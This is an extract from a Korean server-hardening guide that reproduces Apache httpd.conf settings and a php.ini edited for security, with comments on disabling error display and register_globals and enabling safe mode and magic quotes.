AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core
AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif ^^DIRECTORY^^
AddIcon /icons/blank.gif ^^BLANKICON^^
#
# DefaultIcon is which icon to show for files which do not have an icon
# explicitly set.
#
DefaultIcon /icons/unknown.gif
#
# AddDescription allows you to place a short description after a file in
# server-generated indexes. These are only displayed for FancyIndexed
# directories.
# Format: AddDescription "description" filename
#
#AddDescription "GZIP compressed document" .gz
#AddDescription "tar archive" .tar
#AddDescription "GZIP compressed tar archive" .tgz
53
#
# ReadmeName is the name of the README file the server will look for by
# default, and append to directory listings.
#
# HeaderName is the name of a file which should be prepended to
# directory indexes.
ReadmeName README.html
HeaderName HEADER.html
#
# IndexIgnore is a set of filenames which directory indexing should ignore
# and not include in the listing. Shell-style wildcarding is permitted.
#
IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
#
# AddEncoding allows you to have certain browsers (Mosaic/X 2.1+) uncompress
# information on the fly. Note: Not all browsers support this.
# Despite the name similarity, the following Add* directives have nothing
# to do with the FancyIndexing customization directives above.
#
AddEncoding x-compress Z
AddEncoding x-gzip gz tgz
#
# DefaultLanguage and AddLanguage allows you to specify the language of
# a document. You can then use content negotiation to give a browser a
# file in a language the user can understand.
#
# Specify a default language. This means that all data
# going out without a specific language tag (see below) will
# be marked with this one. You probably do NOT want to set
# this unless you are sure it is correct for all cases.
#
# * It is generally better to not mark a page as
# * being a certain language than marking it with the wrong
# * language!
#
# DefaultLanguage nl
#
# Note 1: The suffix does not have to be the same as the language
# keyword --- those with documents in Polish (whose net-standard
# language code is pl) may wish to use "AddLanguage pl .po" to
# avoid the ambiguity with the common suffix for perl scripts.
#
# Note 2: The example entries below illustrate that in some cases
# the two character 'Language' abbreviation is not identical to
# the two character 'Country' code for its country,
# E.g. 'Danmark/dk' versus 'Danish/da'.
54
#
# Note 3: In the case of 'ltz' we violate the RFC by using a three char
# specifier. There is 'work in progress' to fix this and get
# the reference data for rfc1766 cleaned up.
#
# Danish (da) - Dutch (nl) - English (en) - Estonian (et)
# French (fr) - German (de) - Greek-Modern (el)
# Italian (it) - Norwegian (no) - Norwegian Nynorsk (nn) - Korean (kr)
# Portugese (pt) - Luxembourgeois* (ltz)
# Spanish (es) - Swedish (sv) - Catalan (ca) - Czech(cz)
# Polish (pl) - Brazilian Portuguese (pt-br) - Japanese (ja)
# Russian (ru) - Croatian (hr)
#
AddLanguage da .dk
AddLanguage nl .nl
AddLanguage en .en
AddLanguage et .et
AddLanguage fr .fr
AddLanguage de .de
AddLanguage he .he
AddLanguage el .el
AddLanguage it .it
AddLanguage ja .ja
AddLanguage pl .po
AddLanguage kr .kr
AddLanguage pt .pt
AddLanguage nn .nn
AddLanguage no .no
AddLanguage pt-br .pt-br
AddLanguage ltz .ltz
AddLanguage ca .ca
AddLanguage es .es
AddLanguage sv .se
AddLanguage cz .cz
AddLanguage ru .ru
AddLanguage tw .tw
AddLanguage zh-tw .tw
AddLanguage hr .hr
#
# LanguagePriority allows you to give precedence to some languages
# in case of a tie during content negotiation.
#
# Just list the languages in decreasing order of preference. We have
# more or less alphabetized them here. You probably want to change this.
#
LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ltz ca es sv tw
#
55
# ForceLanguagePriority allows you to serve a result page rather than
# MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE (Fallback)
# [in case no accepted languages matched the available variants]
#
ForceLanguagePriority Prefer Fallback
#
# Specify a default charset for all pages sent out. This is
# always a good idea and opens the door for future internationalisation
# of your web site, should you ever want it. Specifying it as
# a default does little harm; as the standard dictates that a page
# is in iso-8859-1 (latin1) unless specified otherwise i.e. you
# are merely stating the obvious. There are also some security
# reasons in browsers, related to javascript and URL parsing
# which encourage you to always set a default char set.
#
AddDefaultCharset ISO-8859-1
#
# Commonly used filename extensions to character sets. You probably
# want to avoid clashes with the language extensions, unless you
# are good at carefully testing your setup after each change.
# See ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets for
# the official list of charset names and their respective RFCs
#
AddCharset ISO-8859-1 .iso8859-1 .latin1
AddCharset ISO-8859-2 .iso8859-2 .latin2 .cen
AddCharset ISO-8859-3 .iso8859-3 .latin3
AddCharset ISO-8859-4 .iso8859-4 .latin4
AddCharset ISO-8859-5 .iso8859-5 .latin5 .cyr .iso-ru
AddCharset ISO-8859-6 .iso8859-6 .latin6 .arb
AddCharset ISO-8859-7 .iso8859-7 .latin7 .grk
AddCharset ISO-8859-8 .iso8859-8 .latin8 .heb
AddCharset ISO-8859-9 .iso8859-9 .latin9 .trk
AddCharset ISO-2022-JP .iso2022-jp .jis
AddCharset ISO-2022-KR .iso2022-kr .kis
AddCharset ISO-2022-CN .iso2022-cn .cis
AddCharset Big5 .Big5 .big5
# For russian, more than one charset is used (depends on client, mostly):
AddCharset WINDOWS-1251 .cp-1251 .win-1251
AddCharset CP866 .cp866
AddCharset KOI8-r .koi8-r .koi8-ru
AddCharset KOI8-ru .koi8-uk .ua
AddCharset ISO-10646-UCS-2 .ucs2
AddCharset ISO-10646-UCS-4 .ucs4
AddCharset UTF-8 .utf8
# The set below does not map to a specific (iso) standard
# but works on a fairly wide range of browsers. Note that
56
# capitalization actually matters (it should not, but it
# does for some browsers).
#
# See ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets
# for a list of sorts. But browsers support few.
#
AddCharset GB2312 .gb2312 .gb
AddCharset utf-7 .utf7
AddCharset utf-8 .utf8
AddCharset big5 .big5 .b5
AddCharset EUC-TW .euc-tw
AddCharset EUC-JP .euc-jp
AddCharset EUC-KR .euc-kr
AddCharset shift_jis .sjis
#
# AddType allows you to add to or override the MIME configuration
# file mime.types for specific file types.
#
AddType application/x-tar .tgz
#
# AddHandler allows you to map certain file extensions to "handlers":
# actions unrelated to filetype. These can be either built into the server
# or added with the Action directive (see below)
#
# To use CGI scripts outside of ScriptAliased directories:
# (You will also need to add "ExecCGI" to the "Options" directive.)
#
#AddHandler cgi-script .cgi
#
# For files that include their own HTTP headers:
#
#AddHandler send-as-is asis
#
# For server-parsed imagemap files:
#
AddHandler imap-file map
#
# For type maps (negotiated resources):
# (This is enabled by default to allow the Apache "It Worked" page
# to be distributed in multiple languages.)
#
AddHandler type-map var
# Filters allow you to process content before it is sent to the client.
57
#
# To parse .shtml files for server-side includes (SSI):
# (You will also need to add "Includes" to the "Options" directive.)
#
AddOutputFilter INCLUDES .shtml
#
# Action lets you define media types that will execute a script whenever
# a matching file is called. This eliminates the need for repeated URL
# pathnames for oft-used CGI file processors.
# Format: Action media/type /cgi-script/location
# Format: Action handler-name /cgi-script/location
#
#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription_info.html
#
#
# Putting this all together, we can Internationalize error responses.
#
# We use Alias to redirect any /error/HTTP_<error>.html.var response to
# our collection of by-error message multi-language collections. We use
# includes to substitute the appropriate text.
#
# You can modify the messages' appearance without changing any of the
# default HTTP_<error>.html.var files by adding the line;
#
# Alias /error/include/ "/your/include/path/"
#
# which allows you to create your own set of files by starting with the
# /var/www/error/include/ files and
# copying them to /your/include/path/, even on a per-VirtualHost basis.
#
Alias /error/ "/var/www/error/"
<IfModule mod_negotiation.c>
<IfModule mod_include.c>
<Directory "/var/www/error">
AllowOverride None
Options IncludesNoExec
58
AddOutputFilter Includes html
AddHandler type-map var
Order allow,deny
Allow from all
LanguagePriority en es de fr
ForceLanguagePriority Prefer Fallback
</Directory>
ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
ErrorDocument 410 /error/HTTP_GONE.html.var
ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
ErrorDocument 415 /error/HTTP_SERVICE_UNAVAILABLE.html.var
ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var
</IfModule>
</IfModule>
#
# The following directives modify normal HTTP response behavior to
# handle known problems with browser implementations.
#
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4₩.0b2;" nokeepalive downgrade-1.0 force-response-1.0
BrowserMatch "RealPlayer 4₩.0" force-response-1.0
BrowserMatch "Java/1₩.0" force-response-1.0
BrowserMatch "JDK/1₩.0" force-response-1.0
#
# The following directive disables redirects on non-GET requests for
# a directory that does not include the trailing slash. This fixes a
# problem with Microsoft WebFolders which does not appropriately handle
# redirects for folders with DAV methods.
#
BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully
BrowserMatch "^WebDrive" redirect-carefully
#
59
# Allow server status reports, with the URL of http://servername/server-status
# Change the ".your-domain.com" to match your domain to enable.
#
#<Location /server-status>
# SetHandler server-status
# Order deny,allow
# Deny from all
# Allow from .your-domain.com
#</Location>
#
# Allow remote server configuration reports, with the URL of
# http://servername/server-info (requires that mod_info.c be loaded).
# Change the ".your-domain.com" to match your domain to enable.
#
#<Location /server-info>
# SetHandler server-info
# Order deny,allow
# Deny from all
# Allow from .your-domain.com
#</Location>
#
# Proxy Server directives. Uncomment the following lines to
# enable the proxy server:
#
#<IfModule mod_proxy.c>
#ProxyRequests On
#
#<Proxy *>
# Order deny,allow
# Deny from all
# Allow from .your-domain.com
#</Proxy>
#
# Enable/disable the handling of HTTP/1.1 "Via:" headers.
# ("Full" adds the server version; "Block" removes all outgoing Via: headers)
# Set to one of: Off | On | Full | Block
#
#ProxyVia On
#
# To enable the cache as well, edit and uncomment the following lines:
# (no cacheing without CacheRoot)
#
#CacheRoot "/etc/httpd/proxy"
#CacheSize 5
#CacheGcInterval 4
60
#CacheMaxExpire 24
#CacheLastModifiedFactor 0.1
#CacheDefaultExpire 1
#NoCache a-domain.com another-domain.edu joes.garage-sale.com
#</IfModule>
# End of proxy directives.
### Section 3: Virtual Hosts
#
# VirtualHost: If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at
# <URL:http://httpd.apache.org/docs-2.0/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.
#
# Use name-based virtual hosting.
#
#NameVirtualHost *
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for requests without a known
# server name.
#
#<VirtualHost *>
# ServerAdmin webmaster@dummy-host.example.com
# DocumentRoot /www/docs/dummy-host.example.com
# ServerName dummy-host.example.com
# ErrorLog logs/dummy-host.example.com-error_log
# CustomLog logs/dummy-host.example.com-access_log common
#</VirtualHost>
5-2.php,ini 파일 설정
php.ini 파일은 Apache, MySQL 서버와 함께 연동되어 사용되고 있습니다. 이 파일에 대해 설정을 잘못할 경우
각종 형태의 웹 해킹을 허용하게 됩니다. php.ini 파일은 /etc 디렉토리에 있습니다. 바로 수정에 들어가겠습
61
니다. 수정한 부분은 파란색으로 표시하며, 원래 부분은 앞에 ;를 붙이고 파란색으로 표시할 것입니다.
[root@localhost root]# vi /etc/php.ini
[PHP]
;;;;;;;;;;;
; WARNING ;
;;;;;;;;;;;
; This is the default settings file for new PHP installations.
; By default, PHP installs itself with a configuration suitable for
; development purposes, and *NOT* for production purposes.
; For several security-oriented considerations that should be taken
; before going online with your site, please consult php.ini-recommended
; and http://php.net/manual/en/security.php.
;;;;;;;;;;;;;;;;;;;
; About this file ;
;;;;;;;;;;;;;;;;;;;
; This file controls many aspects of PHP's behavior. In order for PHP to
; read it, it must be named 'php.ini'. PHP looks for it in the current
; working directory, in the path designated by the environment variable
; PHPRC, and in the path that was defined in compile time (in that order).
; Under Windows, the compile-time path is the Windows directory. The
; path in which the php.ini file is looked for can be overridden using
; the -c argument in command line mode.
;
; The syntax of the file is extremely simple. Whitespace and Lines
; beginning with a semicolon are silently ignored (as you probably guessed).
; Section headers (e.g. [Foo]) are also silently ignored, even though
; they might mean something in the future.
;
; Directives are specified using the following syntax:
; directive = value
; Directive names are *case sensitive* - foo=bar is different from FOO=bar.
;
; The value can be a string, a number, a PHP constant (e.g. E_ALL or M_PI), one
; of the INI constants (On, Off, True, False, Yes, No and None) or an expression
; (e.g. E_ALL & ~E_NOTICE), or a quoted string ("foo").
;
; Expressions in the INI file are limited to bitwise operators and parentheses:
; | bitwise OR
; & bitwise AND
; ~ bitwise NOT
; ! boolean NOT
;
; Boolean flags can be turned on using the values 1, On, True or Yes.
; They can be turned off using the values 0, Off, False or No.
62
;
; An empty string can be denoted by simply not writing anything after the equal
; sign, or by using the None keyword:
;
; foo = ; sets foo to an empty string
; foo = none ; sets foo to an empty string
; foo = "none" ; sets foo to the string 'none'
;
; If you use constants in your value, and these constants belong to a
; dynamically loaded extension (either a PHP extension or a Zend extension),
; you may only use these constants *after* the line that loads the extension.
;
; All the values in the php.ini-dist file correspond to the builtin
; defaults (that is, if no php.ini is used, or if you delete these lines,
; the builtin defaults will be identical).
;;;;;;;;;;;;;;;;;;;;
; Language Options ;
;;;;;;;;;;;;;;;;;;;;
; Enable the PHP scripting language engine under Apache.
engine = On
; Allow the <? tag. Otherwise, only <?php and <script> tags are recognized.
short_open_tag = On
; Allow ASP-style <% %> tags.
asp_tags = Off
; The number of significant digits displayed in floating point numbers.
precision = 14
; Enforce year 2000 compliance (will cause problems with non-compliant browsers)
y2k_compliance = Off
; Output buffering allows you to send header lines (including cookies) even
; after you send body content, at the price of slowing PHP's output layer a
; bit. You can enable output buffering during runtime by calling the output
; buffering functions. You can also enable output buffering for all files by
; setting this directive to On. If you wish to limit the size of the buffer
; to a certain size - you can use a maximum number of bytes instead of 'On', as
; a value for this directive (e.g., output_buffering=4096).
output_buffering = Off
; You can redirect all of the output of your scripts to a function. For
; example, if you set output_handler to "ob_gzhandler", output will be
; transparently compressed for browsers that support gzip or deflate encoding.
; Setting an output handler automatically turns on output buffering.
63
output_handler =
; The unserialize callback function will called (with the undefind class'
; name as parameter), if the unserializer finds an undefined class
; which should be instanciated.
; A warning appears if the specified function is not defined, or if the
; function doesn't include/implement the missing class.
; So only set this entry, if you really want to implement such a
; callback-function.
unserialize_callback_func=
; Transparent output compression using the zlib library
; Valid values for this option are 'off', 'on', or a specific buffer size
; to be used for compression (default is 4KB)
;
; Note: output_handler must be empty if this is set 'On' !!!!
;
zlib.output_compression = Off
; Implicit flush tells PHP to tell the output layer to flush itself
; automatically after every output block. This is equivalent to calling the
; PHP function flush() after each and every call to print() or echo() and each
; and every HTML block. Turning this option on has serious performance
; implications and is generally recommended for debugging purposes only.
implicit_flush = Off
; Whether to enable the ability to force arguments to be passed by reference
; at function call time. This method is deprecated and is likely to be
; unsupported in future versions of PHP/Zend. The encouraged method of
; specifying which arguments should be passed by reference is in the function
; declaration. You're encouraged to try and turn this option Off and make
; sure your scripts work properly with it in order to ensure they will work
; with future versions of the language (you will receive a warning each time
; you use this feature, and the argument will be passed by value instead of by
; reference).
allow_call_time_pass_reference = On
; Safe Mode
;
;safe_mode = Off
safe_mode = On
; By default, Safe Mode does a UID compare check when
; opening files. If you want to relax this to a GID compare,
; then turn on safe_mode_gid.
safe_mode_gid = Off
; When safe_mode is on, UID/GID checks are bypassed when
64
; including files from this directory and its subdirectories.
; (directory must also be in include_path or full path must
; be used when including)
safe_mode_include_dir =
; When safe_mode is on, only executables located in the safe_mode_exec_dir
; will be allowed to be executed via the exec family of functions.
safe_mode_exec_dir =
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.
;
;open_basedir =
; Setting certain environment variables may be a potential security breach.
; This directive contains a comma-delimited list of prefixes. In Safe Mode,
; the user may only alter environment variables whose names begin with the
; prefixes supplied here. By default, users will only be able to set
; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
;
; Note: If this directive is empty, PHP will let the user modify ANY
; environment variable!
safe_mode_allowed_env_vars = PHP_
; This directive contains a comma-delimited list of environment variables that
; the end user won't be able to change using putenv(). These variables will be
; protected even if safe_mode_allowed_env_vars is set to allow to change them.
safe_mode_protected_env_vars = LD_LIBRARY_PATH
; This directive allows you to disable certain functions for security reasons.
; It receives a comma-delimited list of function names. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
disable_functions =
; Colors for Syntax Highlighting mode. Anything that's acceptable in
; <font color="??????"> would work.
highlight.string = #CC0000
highlight.comment = #FF9900
highlight.keyword = #006600
highlight.bg = #FFFFFF
highlight.default = #0000CC
highlight.html = #000000
;
; Misc
;
; Decides whether PHP may expose the fact that it is installed on the server
65
; (e.g. by adding its signature to the Web server header). It is no security
; threat in any way, but it makes it possible to determine whether you use PHP
; on your server or not.
expose_php = On
;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; Maximum execution time of each script, in seconds
memory_limit = 8M ; Maximum amount of memory a script may consume (8MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; error_reporting is a bit-field. Or each number up to get desired error
; reporting level
; E_ALL - All errors and warnings
; E_ERROR - fatal run-time errors
; E_WARNING - run-time warnings (non-fatal errors)
; E_PARSE - compile-time parse errors
; E_NOTICE - run-time notices (these are warnings which often result
; from a bug in your code, but it's possible that it was
; intentional (e.g., using an uninitialized variable and
; relying on the fact it's automatically initialized to an
; empty string)
; E_CORE_ERROR - fatal errors that occur during PHP's initial startup
; E_CORE_WARNING - warnings (non-fatal errors) that occur during PHP's
; initial startup
; E_COMPILE_ERROR - fatal compile-time errors
; E_COMPILE_WARNING - compile-time warnings (non-fatal errors)
; E_USER_ERROR - user-generated error message
; E_USER_WARNING - user-generated warning message
; E_USER_NOTICE - user-generated notice message
;
; Examples:
;
; - Show all errors, except for notices
;
;error_reporting = E_ALL & ~E_NOTICE
;
; - Show only errors
;
;error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR
;
; - Show all errors except for notices
66
;
error_reporting = E_ALL & ~E_NOTICE
; Print out errors (as a part of the output). For production web sites,
; you're strongly encouraged to turn this feature off, and use error logging
; instead (see below). Keeping display_errors enabled on a production web site
; may reveal security information to end users, such as file paths on your Web
; server, your database schema or other information.
; Error Page 또는 Warning Page 노출을 피하기 위한 것입니다.
; 공격자들은 일부러 에러를 발생하여 서버에 대한 정보를 확인합니다.
; 이를 막기 위해 다음과 같이 수정합니다.
; display_errors = On
display_errors = Off
; Even when display_errors is on, errors that occur during PHP's startup
; sequence are not displayed. It's strongly recommended to keep
; display_startup_errors off, except for when debugging.
display_startup_errors = Off
; Log errors into a log file (server-specific log, stderr, or error_log (below))
; As stated above, you're strongly advised to use error logging in place of
; error displaying on production web sites.
log_errors = Off
; Store the last error/warning message in $php_errormsg (boolean).
track_errors = Off
; Disable the inclusion of HTML tags in error messages.
;html_errors = Off
; String to output before an error message.
;error_prepend_string = "<font color=ff0000>"
; String to output after an error message.
;error_append_string = "</font>"
; Log errors to specified file.
;error_log = filename
; Log errors to syslog (Event Log on NT, not valid in Windows 95).
;error_log = syslog
; Warn if the + operator is used with strings.
warn_plus_overloading = Off
;;;;;;;;;;;;;;;;;
67
; Data Handling ;
;;;;;;;;;;;;;;;;;
;
; Note - track_vars is ALWAYS enabled as of PHP 4.0.3
; The separator used in PHP generated URLs to separate arguments.
; Default is "&".
;arg_separator.output = "&amp;"
; List of separator(s) used by PHP to parse input URLs into variables.
; Default is "&".
; NOTE: Every character in this directive is considered as separator!
;arg_separator.input = ";&"
; This directive describes the order in which PHP registers GET, POST, Cookie,
; Environment and Built-in variables (G, P, C, E & S respectively, often
; referred to as EGPCS or GPC). Registration is done from left to right, newer
; values override older values.
variables_order = "EGPCS"
; Whether or not to register the EGPCS variables as global variables. You may
; want to turn this off if you don't want to clutter your scripts' global scope
; with user data. This makes most sense when coupled with track_vars - in which
; case you can access all of the GPC variables through the $HTTP_*_VARS[],
; variables.
;
; You should do your best to write your scripts so that they do not require
; register_globals to be on; Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
; register_globals = On
register_globals = Off
; 혹시라도 낮은 버전을 사용하는 경우 이 부분이 디폴트로 On 되어 있는데,
; 특별한 이유가 없다면 Off로 설정하는 것이 좋습니다.
; This directive tells PHP whether to declare the argv&argc variables (that
; would contain the GET information). If you don't use these variables, you
; should turn it off for increased performance.
register_argc_argv = On
; Maximum size of POST data that PHP will accept.
post_max_size = 8M
; This directive is deprecated. Use variables_order instead.
gpc_order = "GPC"
; Magic quotes
;
68
; Magic quotes for incoming GET/POST/Cookie data.
; magic_quotes_gpc = Off
magic_quotes_gpc = On
; SQL Injection과 같은 공격을 막는데 도움이 됩니다.
; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off
; Use Sybase-style magic quotes (escape ' with '' instead of ₩').
magic_quotes_sybase = Off
; Automatically add files before or after any PHP document.
auto_prepend_file =
auto_append_file =
; As of 4.0b4, PHP always outputs a character encoding by default in
; the Content-type: header. To disable sending of the charset, simply
; set it to be empty.
;
; PHP's built-in default is text/html
default_mimetype = "text/html"
;default_charset = "iso-8859-1"
; Always populate the $HTTP_RAW_POST_DATA variable.
;always_populate_raw_post_data = On
;;;;;;;;;;;;;;;;;;;;;;;;;
; Paths and Directories ;
;;;;;;;;;;;;;;;;;;;;;;;;;
; UNIX: "/path1:/path2"
;include_path = ".:/php/includes"
;
; Windows: "₩path1;₩path2"
;include_path = ".;c:₩php₩includes"
; The root of the PHP pages, used only if nonempty.
; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
; if you are running php as a CGI under any web server (other than IIS)
; see documentation for security issues. The alternate is to use the
; cgi.force_redirect configuration below
doc_root =
; The directory under which PHP opens the script using /~usernamem used only
; if nonempty.
user_dir =
69
; Directory in which the loadable extensions (modules) reside.
extension_dir = /usr/lib/php4
; Whether or not to enable the dl() function. The dl() function does NOT work
; properly in multithreaded servers, such as IIS or Zeus, and is automatically
; disabled on them.
enable_dl = On
; cgi.force_redirect is necessary to provide security running PHP as a CGI under
; most web servers. Left undefined, PHP turns this on by default. You can
; turn it off here AT YOUR OWN RISK
; **You CAN safely turn this off for IIS, in fact, you MUST.**
; cgi.force_redirect = 1
; if cgi.force_redirect is turned on, and you are not running under Apache or Netscape
; (iPlanet) web servers, you MAY need to set an environment variable name that PHP
; will look for to know it is OK to continue execution. Setting this variable MAY
; cause security issues, KNOW WHAT YOU ARE DOING FIRST.
; cgi.redirect_status_env = ;
;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;
; Whether to allow HTTP file uploads.
file_uploads = On
; Temporary directory for HTTP uploaded files (will use system default if not
; specified).
;upload_tmp_dir =
; Maximum allowed size for uploaded files.
upload_max_filesize = 2M
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; allow_url_fopen = On
; 앞에 ;를 붙였습니다. 버전별로 다른데, 특별한 이유가 없다면 앞에 ;을 붙입니다.
; Define the anonymous ftp password (your email address)
;from="john@doe.com"
;;;;;;;;;;;;;;;;;;;;;;
70
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
;
; If you wish to have an extension loaded automatically, use the following
; syntax:
;
; extension=modulename.extension
;
; For example:
;
; extension=msql.so
;
; Note that it should be the name of the module only; no directory information
; needs to go here. Specify the location of the extension with the
; extension_dir directive above.
;;;;
; Note: For Red Hat Linux, packaged extension modules are now loaded via
; the ini files in the directory /etc/php.d.
;;;;
;;;;;;;;;;;;;;;;;;;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;
[Syslog]
; Whether or not to define the various syslog variables (e.g. $LOG_PID,
; $LOG_CRON, etc.). Turning it off is a good idea performance-wise. In
; runtime, you can define these variables by calling define_syslog_variables().
define_syslog_variables = Off
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = /usr/sbin/sendmail -t -i
[Java]
;java.class.path = .₩php_java.jar
;java.home = c:₩jdk
;java.library = c:₩jdk₩jre₩bin₩hotspot₩jvm.dll
;java.library.path = .₩
[SQL]
71
sql.safe_mode = Off
[ODBC]
;odbc.default_db = Not yet implemented
;odbc.default_user = Not yet implemented
;odbc.default_pw = Not yet implemented
; Allow or prevent persistent links.
odbc.allow_persistent = On
; Check that a connection is still valid before reuse.
odbc.check_persistent = On
; Maximum number of persistent links. -1 means no limit.
odbc.max_persistent = -1
; Maximum number of links (persistent + non-persistent). -1 means no limit.
odbc.max_links = -1
; Handling of LONG fields. Returns number of bytes to variables. 0 means
; passthru.
odbc.defaultlrl = 4096
; Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char.
; See the documentation on odbc_binmode and odbc_longreadlen for an explanation
; of uodbc.defaultlrl and uodbc.defaultbinmode
odbc.defaultbinmode = 1
[MySQL]
; Allow or prevent persistent links.
mysql.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
mysql.max_persistent = -1
; Maximum number of links (persistent + non-persistent). -1 means no limit.
mysql.max_links = -1
; Default port number for mysql_connect(). If unset, mysql_connect() will use
; the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services or the
; compile-time value defined MYSQL_PORT (in that order). Win32 will only look
; at MYSQL_PORT.
mysql.default_port =
; Default socket name for local MySQL connects. If empty, uses the built-in
; MySQL defaults.
mysql.default_socket =
; Default host for mysql_connect() (doesn't apply in safe mode).
72
mysql.default_host =
; Default user for mysql_connect() (doesn't apply in safe mode).
mysql.default_user =
; Default password for mysql_connect() (doesn't apply in safe mode).
; Note that this is generally a *bad* idea to store passwords in this file.
; *Any* user with PHP access can run 'echo cfg_get_var("mysql.default_password")
; and reveal this password! And of course, any users with read access to this
; file will be able to reveal the password as well.
mysql.default_password =
[mSQL]
; Allow or prevent persistent links.
msql.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
msql.max_persistent = -1
; Maximum number of links (persistent+non persistent). -1 means no limit.
msql.max_links = -1
[PostgresSQL]
; Allow or prevent persistent links.
pgsql.allow_persistent = On
; Detect broken persistent links always with pg_pconnect(). Need a little overhead.
pgsql.auto_reset_persistent = Off
; Maximum number of persistent links. -1 means no limit.
pgsql.max_persistent = -1
; Maximum number of links (persistent+non persistent). -1 means no limit.
pgsql.max_links = -1
[Sybase]
; Allow or prevent persistent links.
sybase.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
sybase.max_persistent = -1
; Maximum number of links (persistent + non-persistent). -1 means no limit.
sybase.max_links = -1
;sybase.interface_file = "/usr/sybase/interfaces"
; Minimum error severity to display.
sybase.min_error_severity = 10
73
; Minimum message severity to display.
sybase.min_message_severity = 10
; Compatability mode with old versions of PHP 3.0.
; If on, this will cause PHP to automatically assign types to results according
; to their Sybase type, instead of treating them all as strings. This
; compatability mode will probably not stay around forever, so try applying
; whatever necessary changes to your code, and turn it off.
sybase.compatability_mode = Off
[Sybase-CT]
; Allow or prevent persistent links.
sybct.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
sybct.max_persistent = -1
; Maximum number of links (persistent + non-persistent). -1 means no limit.
sybct.max_links = -1
; Minimum server message severity to display.
sybct.min_server_severity = 10
; Minimum client message severity to display.
sybct.min_client_severity = 10
[bcmath]
; Number of decimal digits for all bcmath functions.
bcmath.scale = 0
[browscap]
;browscap = extra/browscap.ini
[Informix]
; Default host for ifx_connect() (doesn't apply in safe mode).
ifx.default_host =
; Default user for ifx_connect() (doesn't apply in safe mode).
ifx.default_user =
; Default password for ifx_connect() (doesn't apply in safe mode).
ifx.default_password =
; Allow or prevent persistent links.
ifx.allow_persistent = On
; Maximum number of persistent links. -1 means no limit.
ifx.max_persistent = -1
74
; Maximum number of links (persistent + non-persistent). -1 means no limit.
ifx.max_links = -1
; If on, select statements return the contents of a text blob instead of its id.
ifx.textasvarchar = 0
; If on, select statements return the contents of a byte blob instead of its id.
ifx.byteasvarchar = 0
